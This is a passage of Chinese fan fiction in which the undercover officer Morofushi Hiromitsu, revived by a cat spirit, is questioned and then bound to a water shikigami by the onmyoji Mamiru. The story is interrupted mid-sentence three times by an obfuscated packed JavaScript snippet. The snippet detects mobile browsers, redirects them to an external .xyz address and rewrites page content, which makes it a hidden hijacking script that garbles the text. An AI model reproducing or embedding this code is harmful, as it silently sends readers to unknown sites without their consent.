一间普普通通的单人卧室。家具和床都是现代人喜欢的简单风格,但房间内几处位置放了些不伦不类的和式装饰品。像插花,风铃,简陋的小人偶。床脚是一张小桌,桌上放了一杯水和几张纸巾。 魔魅流端起水杯递向刚醒的狙击手,偏头示意客厅方向:“要去外面坐坐吗?” 诸伏景光看着那杯水,没接过来:“好。但是水就不用了,谢谢。” 魔魅流静静地看着他,半晌说了句“稍等”,握着水杯离开房间。 公安视线原本追着房间主人的身影,但后者离开时干脆地将门关上。 视野被隔绝,诸伏景光等待了几个呼吸,不动声色轻手轻脚地走到门前。他尝试性地拧下门把手,但之后不论是推还是拉,门都纹丝不动。透过木板和墙壁之间的缝隙,他能看到上下两处卡扣锁只有第一个贯穿左右——这代表屋主人离开时没有反手把他所在房间里。 不,准确来说,没有用门本身的机关锁住他。这样看来,大概率是用了什么“除妖师”的手段。比如那种封印一样的符咒,或者有“上锁”作用的绳结。 意识到这一点,诸伏景光悻悻地收回手,安静后退回床边位置。从意识清醒到现在,他还没有感应到体内小猫的声音,更没办法借助小家伙的妖力。不过仅仅是被关,还不值得让小猫从虚弱状态强打精神,解决这个不必要的小问题。 苏格兰和阿玛尼亚克在同一个小组搭档时,知道对方脚步声很轻,也像猫一样。这位前同事从房间里离开时几乎没有脚步声,想来返回时也不会刻意让他知道。诸伏景光思路刚到这里,去放水杯的屋主人就回来了。 魔魅流推开门,像刚刚那样再次问:“要去外面坐坐吗?” - 客厅也不大,并且整体装修风格与那间简单又混搭的房间类似。 从这里能看到整个公寓的布局。干净整洁的厨房、目前还空荡荡的小阳台、塞满纸箱子和书籍的小书房,还有诸伏景光刚刚离开的房间。这些都毫无异常。唯一值得注意的就是,书房另一侧有扇紧闭的门,锁和把手看上去经常使用。 诸伏景光坐在沙发上,用余光观察屋内其余位置。他视线刚接触那扇门,耳侧便传来滚轮推拉的声音。 屋主人正将一架站立小白板推到茶几旁。白板像不久前才被人胡乱擦过,笔迹线条蹭在合金边框上,能看出写字的人很着急。 橘发青年将白板推到一侧更像是委婉警告客人不要乱看。他没有立刻就提笔写什么内容,而是慢悠悠又细致地再擦了一遍。原本出格的笔画也被消除了。 看来那扇关着的门、或者说房间有特殊之处。诸伏景光想。可能是使用者很特别。 为了避免麻烦,他装模作样地咳嗽了一声,收回视线。 “一天。”魔魅流突然开口回答先前的问题。 他仔仔细细将白板上原本的笔记擦干净后,端正坐回沙发,与诸伏景光面对面:“现在是十二月八日晚上九点。” 公安表情一顿,小心翼翼地舒了口气。只过去一天,情况比他想象中好很多。 “我们现在在你的安全屋?”他问。 “我家,”魔魅流盯着他,一字一顿地纠正,“居住的,家。” “......好,好。家。”诸伏景光从善如流地改口。 虽然他偶尔也会把居住用安全屋称作“家”,但那都是对普通人的伪装说法。安全屋可以有很多个,“家”总是有独特的含义。对于大多数搜查官来说,他们不会在将这个词语随意套用在与工作相关的地点上。 前同事这么坚决的指正,反倒让人感到新奇。大概是有什么原因,比如这个地理位置很特殊、房屋设施很特殊,又或者……与和他一起使用这里的人有关。 “你不是一个人住?”诸伏景光假装随口一问,“看上去这里有很多房间。如果有合租人的话,今天白天你让我在家里养伤,他没意见?” “......嗯。” 好像回答地不是很干脆。 诸伏景光面色不改快速头脑风暴了一下。如果不想承认有人一起住,直接一口咬死否定就好。面前这家伙给出的答案更像是......他自豪于自己在和“那个人”合住,只是不想让苏格兰知道。 可能还有,阿玛尼亚克还在为“合住人怎么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256601|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应让陌生男同事来家里养伤了”感到......呃,别扭。 诸伏景光抬头对上那双灿金色的眼珠,试图像以往那样感应前同事的情绪。 那双眼睛像往常一样死板地睁着,眼睑总是固定在同样位置,甚至眼提肌使用的力度都很少改变。 莱伊之前说过的某句话很正确。阿玛尼亚克大多数时间是不做微表情的。此时此刻,两人之间那个诡异的心电感应大打折扣,诸伏景光只能识别出最宽泛的态度倾向——“友善”还是“敌意”。 他大概明白了。所谓第六感大概是体内小猫传递给他的信号。至于小猫是怎么和这位除妖师共脑的......可能是妖怪独特的能力吧。 公安和面前人对视了一会儿,几秒后快速放弃这个无用功。 “第二个问题,”他认真地问,“你......带走了我的尸体,有其他人知道这件事吗?现场是怎么处理的?” 魔魅流轻轻“哦”了一声:“做了个假的,扔下去了。” 诸伏景光:...... 诸伏景光:“......你的意思是说,用那种‘力量’模拟了一个假的尸体,混淆视听。因为直接放在天台很难完全复原死亡现场,所以选择‘破坏’。” 魔魅流:“嗯。” 语毕,他双眼突然睁大零点几毫米——实际上,诸伏景光没办法分辨出物理意义上的改变,但就是觉得,面前这家伙眼睛亮起来了。像突然说起什么开心的事。 “龙二教的。”大猫一脸真诚。 龙二......啊,貌似零之后查到过,阿玛尼亚克的旧搭档柯涅克先生名字是龙二。看来这个名字是真的。 “......然后,他们都以为是你扔的。”诸伏景光脸色复杂。 “你知道吗,”他有些勉强地说,“‘阿玛尼亚克’可不是那种发现同事是卧底警察后,火冒三丈、扬言要让这家伙下地狱都不安生、放下自己手中任务第一时间赶去击杀现场......你不是这样的人。” 这位有主人的忠犬可不会因为一个过路卧底产生情绪。除非是他主人的要求——而代号柯涅克的人和苏格兰在明面上从来没见过。 把卧底尸体从高楼上扔下去,怎么看都有问题。 魔魅流眨了眨眼,仔细梳理这几句指正中的完整逻辑。 好像是的......貌似大多数普通人类不会利用他人的尸体随意做什么事。对正常人来说,死了就是死了。收集尸身去火化埋葬,或者在灰飞烟灭的时候拿来生前遗物,埋个衣冠冢。 妖怪不一样,毕竟在他们眼中死亡远不是终点。如果愿意的话,这群家伙有无数办法能让“灵魂”或“肉身”长久独立存活。类似的,阴阳师们在这方面的认知也不可避免有些偏差。 听诸伏景光的说法,这很不寻常,甚至会惹人生气。 橘发大猫眯起眼睛,微微歪头做出苦恼的神情。他的思维还不够复杂,做不到基于人类行为常态和卧底工作守则来推断,自己的行为会有什么后果。不过,唯一能明确的是—— 魔魅流略微有些干巴地说:“难怪波本......威胁我?让我今晚十二点去据点受死。” 啊,或许龙二说的“会被骂”就是即将发生的这个。 诸伏景光:...... 他有点想说“应该的”。但既然这个词听着有些阴阳怪气,那还是不要说比较好。 21. 猫又(五) 客厅里开了灯。但或许是头顶的LED灯泡年纪久了,光线充斥整个客厅时,看上去没有房间内那么亮。 窗户也开着,所以目之所及的一切组合起来就很奇怪。黑压压的大雪、昏暗的室内,还有什么“去受死”一类的话。 明明应该是阴沉到有点恐怖的氛围,但诸伏景光总觉得,自己像是看电影时莫名被身边小孩子踹了一脚,情绪瞬间从适宜的气氛中脱离出来,开始思考让人哭笑不得的小事。 虽然放了狠话,但是以降谷零的行事风格,找面前这位去据点大概率也是为了正事。如果由诸伏景光来推测,很大可能是...... “有哪个部门需要我的全尸?”他问。 如果将尸体破坏的行为会在“正事”层面上让阿玛尼亚克被谴责,那大概是这个已死卧底的肉.身真的有用。 糟糕,顺着这个思路推下去,总觉得会得出让人不太舒服的结论。 “嗯,”魔魅流语气很平淡地应了一声,“研究所想要。” “拿去做什么?解剖切片,药物培养,还是什么针对脑死亡尸体的研究?” “不知道。只说了想要。” 诸伏景光挑了下眉毛,低头看向自己胸口的位置。 他对死亡前的记忆还很深刻。毕竟与莱伊共同经历了几分钟争执,自杀用的左轮手枪还是从对方手中夺下来的。 那时候他心跳很快,咚咚的声音像重重砸在主动脉上,激得人血液和热流横冲直撞。 精神紧绷的时候总会将一切细节放大。诸伏景光记得很清楚,他将枪口紧紧贴上胸前手机,被施加压力后冰冷的终端机又贴着胸腔,一层层触感重叠在一起。 随后子弹穿透手机,结结实实地突破皮肤、脂肪、神经血管脉络、然后扎进更深的几个器官壁。大概率是直接穿透了,毕竟距离太近。 可现在,本该有洞的位置不像任何一次受伤后、被空气一刺激会有冷飕飕的感觉。左侧胸腔有几层织物覆盖。最外面是屋主人帮他换的简单长袖衫,再向里是一层纱布。 猫眼青年右手抚上去慢慢摸索,确认只有一层。它下面就是皮肤。纱布每个细小孔格都干净清爽,没有任何濡湿的血迹渗透。 “......我的枪伤怎么样了,”诸伏景光长舒一口气,神色复杂,“算了,我直接连带所有同类问题一起问吧。” “你知道我的身体情况吗?”他说,“不只是肉.体的伤势,还有......从你们那怪力乱神的角度来看,我发生了什么。” “刚醒来的时候,我没办法控制自己的身体——你应该知道的,我体内有妖怪或灵体一样的存在,大概是一只小猫妖。它可能是有些应激、所以控制我的身体袭击你了,我替它说一声对不起。” “你禁锢它的时候,我头很疼,很不清醒。我不知道你对它做了什么——消灭、封印、或者暂时击伤让它回去休眠——总之,从那之后我没办法感应小猫的存在。我是指,以往我们之间会有种说不清楚心灵感应,但现在这个感应消失了。可以的话,我也想问问小猫的情况。” “......是不是内容有点多。抱歉,我重新总结一下。” “我想问问,我的躯体,灵魂,还有体内的小猫妖,都怎么样了。” 诸伏景光一边说,一边敛下睫毛,放轻呼吸想要感受心脏传来的跳动。 按照梦里的情况推测,猫妖应该一直寄宿在他身体的这个位置。在各地的志怪传说中,妖怪对人类的心脏内脏很执迷。它们视其为人类肉.体中最核心最浓缩力量的部位,食用后提升妖力,以此形成正向循环。影视剧里也都是这么演的。 但在长野和群马捡到那只小猫、它又不慎融进人类身体出不来后,小家伙一直盘踞能量供应源的位置,但什么也没做,只是安安静静睡觉。 诸伏景光觉得,自己真的应该感谢它。 毕竟这么多年来他没有被妖怪蚕食成空壳,还能这么好好地长大,再次死亡,又再次活过来——如果真的“活过来”的话。 公安问出这些问题后,坐在对面的橘发阴阳师终于起身、走向桌边的白板。 魔魅流起初拿了最右侧的黑色水笔,但随意写了两下后,发现干枯发毛的笔尖只会在留下墨后、于下一次起笔时把墨擦掉。像子弹头白板擦。 他停顿了几秒,将笔杆放回原本位置,拿起倒数第二支。 然后发现这只也没水了。 “拿左边的咯,”诸伏景光说,“你不知道哪只没水吗。” 魔魅流又停顿了几秒,视线在右手边待够了才假装若无其事地离开。 公安疑惑,然后沉默,无语。 他有个大胆但诡异的想法。该不会那几支没水的笔都是“龙二先生”爱用的,然后面前这位忠犬同事并不知道墨水余量,只是本能地拿起来—— 啊,听着好奇怪。 关于笔的意外没持续很久。确认第三支没问题后,魔魅流在白板上写写画画,一分钟左右就完成了连图带字都很生动详细的解说。 “你还活着。但是猫又被困在你体内出不来了,”他说,“我们阴阳师有很多类似的灰色术法。例如凭鬼术。” “说给我没问题吗?”诸伏景光问,“毕竟这听上去像你们内部的知识。”而且,既然已经说了“阴阳师”这个词,代表他之前对阿玛尼亚克身份的猜测果然没错。 魔魅流摇头:“不要紧。” 猫眼青年面上露出些受宠若惊的神色,但内心微微绷紧。 这种知识都直接告诉他,可不像好兆头。 橘发阴阳师继续抵着白板讲解:“凭鬼术的其中一种是将式神放入体内,使自身攻击力突破。但式神和妖怪不一样。前者有契约束缚,后者只有野性。” “一般来说,妖怪进入人类体内都会抢夺主动权。比如掠夺生命力、灵力、或者其余他们渴求的东西。” “脱身是‘剥离’。如果人类已死亡或极其虚弱,妖怪冲破人类的灵力保护机制很简单。” “但是,”他看向诸伏景光,“你那只猫,现在很被动。” 后者微微叹气,听明白了。 眼前的人不知道猫妖和小景光二十年前在群马与长野交界一带发生地往事,但对方能辨认猫妖力量的强弱。 不过诸伏景光作为当事人,能够很顺利地补全整个逻辑链。因为小猫刚遇到他的时候已经很虚弱了。再加上之后消耗了不少,无法快速从人身体里“剥离”出去。 类比那个“凭鬼术”,小猫对他的力量加成就体现在,将猫又的复活能力转移到人类身上。接着,这又变成一个对它来说非正向的循环。 如此这般,更像是名为“诸伏景光”的个体在束缚这只猫。 或许是因为当下场景与过往二十多年熟悉的世界观不同,骤然被妖怪、灵力、式神、阴阳术等等击中后,诸伏景光难得有些恍惚。 可能是由于世界观被冲击后感到难以接受,不过更多的是,他觉得自己内心空落落的。 像突然发现把哥哥名字的汉字写法记错十几年,怀疑过往到底有多少潜意识会忽略的细节蕴含过分有意义的可能。他好像错过了关于小猫妖的很多。 因此,难得的,公安卧底先生露出有些沉郁的表情。 “......现在呢,”他问,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256602|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是什么。” “目前没有一个明确的界定,因为你这样的案例很少。” “参考其他类似情况,我们会称呼你是‘被妖怪缠上的人类’,或‘勉强从妖怪附身下存活的幸运儿’。不过龙二说,如果你喜欢,也可以是‘后天形成的半妖’。‘和妖怪合体的人类’也行。” 阴阳师面无表情地给出上述选项时,仿佛这些读音文字排列组合出来的结果无甚差别。 在神神鬼鬼的世界里,“人”是最没有力量、最没有攻击性的。他们总是在抵抗,因此也会努力将自己与妖怪鬼神划开界限。你们是攻击者,而我们是守卫方——诸如此类,从而护住族群的抗争勇气。 魔魅流视线定定地投在诸伏景光身上,等待后者的答案。不过他内心依稀有猜测。对于面前这位倒霉的二十五岁青年来说,将人类这一固有身份放在被动位,应该是更有可—— “如果可以的话,我想和它在同一时刻被提起。” 沙发上的人微微弯起那双猫眼。透过那双蓝宝石一样的虹膜,依稀还能分辨出背后属于猫又的、更华丽精致的纹路。 它们就这样交叠在一起,仿佛一同做动作,摆出一样的神态,同时与阴阳师对话。 “它救了我很多次。所以,我不想因为‘非我族类’等等原因,就将它推去敌对的一面。” “如果可以的话,”诸伏景光话语仍然带着温柔的笑意,“像龙二先生说的那样,将我和它放在平等立场吧。” 室内一时间安静了许久。 说话的人面上还带着笑。但他脊背挺得很直,周身气势也渐渐沉静下来。 这是在表明态度。示意他做出地抉择不是儿戏。 大概能理解。魔魅流想,毕竟对方是公安警察,总有比一般人更强的执念和责任感。不论这是出于职业需求还是本身人格,总之,面前的警察先生是位胆大包天的死脑筋。 死脑筋。 他盯着那双蓝眼睛,突然觉得大脑被某段闪回的记忆刺了一下。视野内,水波一样的物体色彩黏起来,又分散开重新拼装,凝成为两个深色人影。 错时空画面中,个子矮些的那位背起巨大的书包,侧身看他、向他挥手。那人好像在笑,动作和声音都很开心,做完这个告别后又背起书包逐渐远离。身影缩小,直到很久很久之后都小小的,再也没有那么清晰过。 魔魅流看不到自己的动作,只记得自己好像也笑着挥手告别,用从未有过的亲昵语气夸奖对方、说着“加油哦”这般温柔可爱的话。 另一位一直站在他身侧。在第一人走后,偏过头来问他—— “这样真的好吗,魔魅流。” “很危险,会死也说不定。” 是龙二的声音。 自己当时好像说了什么,具体的词语完全在记忆中模糊了。魔魅流只记得自己也像个死脑筋一般,做出了什么可能下一秒就会掉脑袋的决定。就像眼前这位不知黑夜世界深浅,就敢“负责任”想与妖怪共同进退的警察一样。 恍惚的人尚来不及回忆,熟悉的、混着猫科动物嘶吼的雷电声再次响彻于颅骨内。噼啪作响的电流刺向听觉神经,又扎进大脑,用疼痛使一切思维瞬间麻木。 魔魅流瞳孔缩了一下,变化快到像错觉。 但站在他对面的诸伏景光突然头皮发麻,只觉得眼前人身上那股难得散发的活人气又被压下去了。 仿佛原本对话的人影突然拉长隆起,膨胀成一个巨大的野兽。 昏暗的房间内,“野兽”抬起右手,食指与中指并拢放在嘴唇前,漠然地开口:“如果你决意与妖怪站在一处,就请接收管理。” 22. 猫又(六) 房间内的水汽逐渐变得厚重,密密实实地压下来,掀起海啸般的恐怖气势。 漂浮在空中的水珠快速向某个点位压缩、凝结,在不到一秒的时间聚拢,又接着变成巨狼的模样。明明是水质猛兽,但双眼初莫名泛着白光,像所有灵力都凝结在那两个位置,虎视眈眈地紧盯猎物。 水狼一只利爪攀上阴阳师肩膀,另一只向前探压在桌子上,头部逼近客人的脸。 一人一兽就这么贴近至不到十厘米间距。诸伏景光觉得自己呼吸之间,寒冷的水汽扑进鼻腔,刺得整个气道都隐隐发痛。 他上半身向后仰、脚下无意识倒退半步。但柔软的沙发垫像一摊恶心的史莱姆黏上他的裤子。明明毫无威慑,但在这种情况下仅作为“障碍”就令人反胃。 “......什么意思。”诸伏景光问。 他右手慢慢抵上心脏,眯起双眼分出一丝心神集中在那里。想要心脏快些迸发,血流在来回交换过程中用力击打昏厥的肌肉,快些催促第二位心脏住客醒来。 有点难看啊,他心想,竟然还要再关键时刻求助妖力,将生机寄托于已经依赖几十年的同伴。这太软弱了。 “......‘管理’是什么意思,”猫眼公安做了个深呼吸问,“你们阴阳师需要对每一只妖怪溯源,所以要我登记成为你们的定期观察对象?” “不过,看这个样子,”他眉毛紧紧压低,沉下声音问,“是想诉诸武力直接将事情‘解决’吧。剿灭我们,就像剿灭那些异类一样。” “即使已经确定它是无害的、我还是人类中的正义立场。” 诸伏景光讲这些话时已经有些生气。他总觉得,在那个莫名让他头皮发麻的瞬间之后,阿玛尼亚克已经有种“琴酒对卧底名单一刀切”般的漠然。 不同的是,琴酒还会让叛徒说一两句遗言,而面前这位阴阳师先生只是简单粗暴地将生物撕成两列。一列是白色的人类,另一列全部归为“黑”。 妖怪警察应该是秉公执法的,这没问题。但面对这种显然更复杂的情况,丝毫不考虑直接给出蛮不讲理的解决方案,好像哪里不太对劲。 明明起初、几天十几天、甚至几个月前都在进行观察,毫无动作。猫妖一直在他身体里,但是从来没有人大喊着要拔除。 情况到底是因为什么触发的,是否又有其余不知道的缘由。 诸伏景光压低重心,视线在紧张感作用下牢牢锁住眼前人的面部五官。眼神、呼吸、冒出话语的唇齿,所有细琐的改变都会像射出枪膛的子弹。 被他盯住的人没有说话。魔魅流用手轻轻拍了拍水狼爪子,野兽嘶吼一声,妖力形成的声波混着水流响动,听上去像在空洞中旋转回响无数次。 水狼就这样与猫眼的公安警察分立在十厘米间隔两端,准备随时结束对峙开启战斗。 诸伏景光呼吸慢慢放轻,从完全掐灭呼吸时声带振动带出的声响,到连胸腔都几乎在肺部动作间固定同样的容量。 室内因僵持渐渐安静下来,又经过了十几秒的死寂——或许只有几秒,总之时间貌似被拉长了——直到最后裁判官打响那一枪。 “吃吧,饿狼。” 下令的是花开院魔魅流。 在安静地连窗外飘雪声都能听到的房间里,这句话几乎和大口径子弹出膛无异。 迎面先撞上来的是水狼的灵力冲击,随后是能震碎头盖骨的嘶吼。诸伏景光飞速向右侧扑倒,在地面上翻滚卸力。 他因为惯性、上半身还保持前倾姿态没有回正时,敌人恰好从头顶上越过扑了个空。不过眨眼间,后者一脸凶狠地回头发动二次袭击。 还在房间内时,公安就摸过自己身上所有位置。裤子还是先前那条,侧边两个口袋中原本放了两把小折叠刀,不过已经在尸体转移的过程中被屋主人拿走了;现在是拖鞋,也不用说原本藏在靴子底部的刀片;还有捆在裤子布料内侧的战术带也被收缴——真是麻烦的手无寸铁。 想到这里,公安猛地蹬地起身,进行狙击手最熟悉的打一枪就跑闪避准则。 现在有三个好消息,一个是水狼的身体并不像它的质地那样容易变形,更多是以高密度水分子组合后的模样横冲直撞、到处破坏。第二,在狭窄局限的空间内,能灵活移动的一方具有绝佳优势。再就是,它的主人还站在原地毫无出手的意思。 诸伏景光就这样在房间内四处躲避,每次都险险地与水狼擦身而过。这种肾上腺素飙升的游戏与在任务现场躲子弹雨差不多。在这么几年的卧底任务中,他勉强算是有些心得。 直觉、躲避的肌肉记忆。视线不但要追眼前的道路和障碍,还要用余光注意身侧。 躲避敌人、躲避伴随袭击而来的碎片。 速度、耐力、精神......一切都要应用最合理的分配方式。 客厅不大,从沙发离开到回去总归是一个环形路径,即使中途方向剧烈波折也耗费不了多久。 魔魅流还站在原地,面无表情地看半妖公安再次扑闪,从式神爪下逃脱。 激烈又危险的动作促使浑身肌肉不断发力,动脉和心脏也比以往鼓动地更加频繁。诸伏景光脸颊有些红,嘴唇也比一开始白了一些。他在最后一次翻滚后猛地蹬地,直冲冷漠的观察者袭来。 魔魅流还是没动,任由这位公安先生抬起手臂钳住自己咽喉,随后又被推搡到直面水狼的位置。 野兽式神爪子压下来的速度与诸伏景光擒拿完成的速度几乎相同。它顾忌着主人的存在停下动作时,原本指尖已经将将抵着魔魅流的发顶。 “言言,”橘发阴阳师轻声呼唤着什么名字,声音又静又平,“继续,不用管我。” 水狼安静一瞬,随后哼哧哼哧地喘气。 它在抖。诸伏景光的小腿也在抖。 这个冒险行为着实太刺激了。他不敢让自己的上半身放松丝毫,但腿部方才瞬时发力的影响还残留着,让他持续维持在一个高度紧张的状态。 “......言言?”公安言语间也有些微不可察的气喘,“是它的名字?”不是饿狼吗? 他对“姓名”的呼唤仿佛也成为什么带有力量的言灵。水狼再次发出嘶吼,浑身上下每一滴水珠都向外发散气势。 它渐渐拔高、膨胀,就像暴风雨前的黑云那样乌压压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256603|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遮蔽目之所及的一切。 诸伏景光下一口吸气才上升到喉咙,水狼如巨型洋流一般扑上来。 满口满鼻都被水汽堵塞,像有人用胶带封住他浑身所有能呼吸的通道,不论是器官还是毛孔。 窒息造成的生理反应让诸伏景光大脑发白。明明只是呼吸气道动不了,但他觉得自己浑身上下每一个细胞都被固定在原地。像被空气锁紧,又慢慢绞杀。 他努力睁开眼,视线紧紧盯着胸腔与手臂之间的人。 阴阳师好像回头看过来了。那双金色眼睛微微发光,透过水雾折射,虹膜的每丝纹路都比以往更加清晰可见。普通金眼睛猫的虹膜总是在色彩掩盖下模糊一片,但眼前这双像符文混杂纠缠的旋涡。 金色双眸向外是精致又毫发无损的脸,再然后是健全的皮肤和四肢。 没有任何伤势。 诸伏景光本能进行又快又浅的呼吸,大脑感受全身各个部件时、意识到自己也是这样。 回神一想,阴阳师方才毫无杀意的眼神里,似乎还掺杂了些许对他剧烈反应的不解。 他原以为水狼会像破坏所有物体那般横冲直撞,将触碰到的一切都碾个粉碎。但后知后觉发现,这家伙的目标似乎并不是置他于死地。即使是现在类似窒息的折磨,也留了道喘气口子。 如果说阿玛尼亚克最开始那句“吃吧,饿狼”是让猛兽开始进食,现在闹成这个样子,更不如说是让诸伏景光将式神吃进嘴里。 让诸伏景光将式神吃进嘴里。 堵塞口鼻的力量骤然放松,眼前铺天盖地的式神也眨眼间消失不见。 诸伏景光抬起空着的那只手臂,强忍着神经性颤抖摸向自己唇齿。然后是咽喉,胸前,胃,肠。 式神是水一般的液体,他好像把式神吞进身体了。 如果是水,是水的话...... 最开始给他倒的那杯又是什么。是普通的白水,还是——式神的一部分。 他如果不是过分谨慎的公安卧底、只是个毫无防备的普通人,此时此刻,那只狼大概早就跑进身体里了。之后哪还有这些危险刺激的试探。 ......等下。 或许是陷阱已经踩了坑已经跳了,诸伏景光破罐子破摔地开始思考自己中招的整个全流程。 他总觉得哪里有违和感。比如——自己这位前同事是这么聪明的人?不,说聪明倒也谈不上,换成“阴险”这个词好了。 从最开始杯子里的水,到莫名其妙的言灵。这些行为都像一环套一环堵死岔路,让他没有其他选择。 还有一个细节,那就是“饿狼”这个名字和它起初的行为逻辑,总会让被攻击者条件反射认为一切攻击都会是物理扑杀。这样一来反而不会去防御其他方式带来的危险。 所以说,面前这位可是敢从天台上扔假尸体的人。做事偶尔会不考虑前因后果,只是一股脑以暴力手段通关。这样的阴阳师先生,真的能......呃......做出这么聪明的计划? 该不会......想将他耍着玩的还有另一位吧。 “能放下了吗?”魔魅流语气平淡地问。 23. 猫又(七) “啊,抱歉。”诸伏景光“嘶”了一声,放下手臂后退几步,“我之前应该是误会了,说了些重话。所以你说的‘管理’,只是让式神的一部分进入我体内......不涉及任何武力压制。” 可能也不算重话。公安内心悄悄叹气,想道。 这种让式神直接进入目标身体内部的行为怎么看都侵略性过强。即使知道它是公事公办的一部分,作为被控制的一方,还会有些被当做鱼肉的感觉。 他坐回沙发原本的位置,冷静下来一边陈述一边分析:“因为是水系式神,所以能更好地融进人体,随后进入□□、血液、甚至更深层的组成物质。你们通过这些来监控我?” “嗯。”魔魅流嗯了一声。 他双眼直直地对上眼前人的视线,睫毛微微扑闪,看上去有股奇怪的自豪,像是也认为这种监控手段很高明。 这个表情诸伏景光见过。就是不久前,说起“扔假尸体”的时候。 ......公安突然有种不妙的预感。 他和面前这位前同事可是有过共同逃亡/迎敌的经历,那时候阿玛尼亚克用的是雷属性符咒。虽然之后没再见对方用过阴阳师能力,不过按照影视剧的一贯描写,一位阴阳师只擅长一种属性的阴阳术。 如果是之前,他这位唯物主义者会觉得“创作嘛多少有些思维发散的想象”。不过现在知道真的有阴阳师存在后,诸伏景光开始思考,这些剧集是否都是有真实人物作为顾问完成的。 咳,也就是说,目前的结论是:式神可能不是阿玛尼亚克的,计划可能也不是这家伙的。再加上说起计划时那股微妙的自豪开心,以及在合租屋里大搞破坏都不会被责骂的底气—— 那位忠犬主人龙二先生,该不会也是知情者,不、阴阳师吧。 “在想什么?”魔魅流微微歪头。他语气带着些好奇,仿佛刚才的好心情还在。 诸伏景光总觉得,面前这位前同事每当提起龙二先生时情绪总会比面对其他人时活泼些。如果说和他们威士忌小组搭档期间,像是一戳一蹦跶、没有搭载人脸识别情绪分析模块的人工智能,现在就像是在外不给人摸的大猫回了家,各种意义上都放松了警惕。 啊,看来阿玛尼亚克是真的很亲近自己的“龙二先生”,至少比其余人要熟悉地多,因此才能把信任和开心的引线另一端递交到对方手中。但当事人有没有注意到这个特殊的相处模式,似乎又是另一个问题。 诸伏景光表情木然。长袖衣物下的上臂微微泛起鸡皮疙瘩。 分析这些不会长针眼吧......他不是故意的。 “......还在思考‘管理’的事。”公安欲盖弥彰地咳了一声,扯了个谎话让大脑跳过这个话题。 “你之前说,像我这样的案例很少。如果我是需要管理的,那应该也有其他类似处境的人记录在案吧。” “我的第一个疑问是——目前为止,这一记录一共有多少条?” 诸伏景光的想法是,如果可以的话他想接触类似处境的人,沟通双方状况。甚至在“合成半妖”一事上达成同盟,思考将妖怪与人类进行剥离、或让两者能更好和谐共处的方法——他个人倾向于前一个,毕竟已经麻烦小猫妖二十年了,是时候放对方自由。 他问这个问题时,觉得事情的解决流程会像“外行向专业人士发起提问”那样简单。前者觉得自己的问题大概率会得到解答,后者应该也能对答案信手拈来。 只不过,公安和阴阳师的运气都不怎么好。 “如果是人类和妖怪长期困在同一个身体内......我见过的一共六位,”魔魅流回答,“除了你是五位。” 诸伏景光一顿。 骤然安静下来的空间里无端弥漫起一股尴尬的氛围。猫眼公安眼内心叹了口气,睫毛盖住眼瞳,兴致略微有些低落。 原本以为有更多,没想到还是个位数。 橘发阴阳师倒是毫无察觉。他视线稍稍上移做出类似回忆的神情,继续补充那个听着非常不靠谱的回答。 魔魅流:“第一位,除了身体有一点小后遗症,其余一切正常。” 诸伏景光咳了一声,勉强按下追问的心思。他很想知道那个“小后遗症”到底是什么,这关系到自己是否也会遇到类似风险。不过公安先生等了好几秒,只等到眼前人继续自顾自讲下去。 “第二位是......情况有点复杂,总之还活着。” 诸伏景光:“......不,活着可以有很多种状态。”毫无意识的植物人算活着,浑身插管子吊着一条命也算。 魔魅流:“第三位是你。其他人都死了。” 诸伏景光:嗯...... 他双手并拢,将脸埋进去。 后半句话只有几个字,但给出的信息比前两段要直白的多。 他原本想开玩笑、或者讲几句无厘头的话活跃下气氛。但“死”这个字一出来,他还是觉得有种丧钟突然敲在耳边的眩晕感。 倒不是对死亡有什么懦弱的恐惧——他都在天台上抢来左轮干脆地对胸口来了一枪,又怎么怕死呢。 他只是遗憾。本以为死了、再也见不到人生前二十五年所有珍惜珍重的存在,突然在无意识间被擅长怪力乱神的阴阳师从“魂升天”入口拉回来。他还来不及接受这个变动,可能很快又要与奇迹告别。 他还想做更多事。为自己的职业、为了想守护的人和物,以及其他可能在第二次生命中发掘出的珍宝。 指关节相贴时会留出一些缝隙,这些缝隙也不会完全与挺拔的鼻梁骨贴合。呼吸时的热气扑在手指皮肤上,热量传递到细胞、神经、然后是血液,心脏识别它们,尽职尽责地跳动。 沙发区域又安静了一会儿,猫眼公安慢吞吞地把手放下去,长出一口气。 “怎么死的,”他问,“人类和妖怪都死了吗。” 魔魅流先点点头回答后一个问题,随后动作一顿,偏头思考了一会儿就要起身去拽白板。 “别,不用了,”诸伏景光伸手做了个阻拦姿势,“简单说说一下就好。” 橘发大猫视线扑向那只伸出来的手,又顺着手臂看向它的主人,一动不动盯着那双蓝色眼睛。 